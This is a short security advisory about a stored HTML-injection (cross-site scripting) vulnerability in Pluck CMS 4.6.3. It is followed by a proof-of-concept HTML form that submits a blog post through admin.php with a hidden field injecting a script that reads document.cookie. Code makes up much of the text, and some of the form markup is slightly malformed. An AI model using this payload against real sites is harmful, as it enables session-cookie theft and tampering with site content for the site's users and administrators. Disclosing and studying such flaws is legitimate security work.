source: https://www.securityfocus.com/bid/43597/info
Pluck is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
Pluck 4.6.3is vulnerable; other versions may also be affected.<form action="http://www.example.com/admin.php?module=blog&page=newpost" method="post" name="main"><inputtype="hidden" name="cont1" value='1"><script>alert(document.cookie)</script>' /><inputtype="hidden" name="cont2" value="no category"/><inputtype="hidden" name="cont3" value=""/><inputtype="submit"id="btn" name="Submit" value="Save"/></form><script>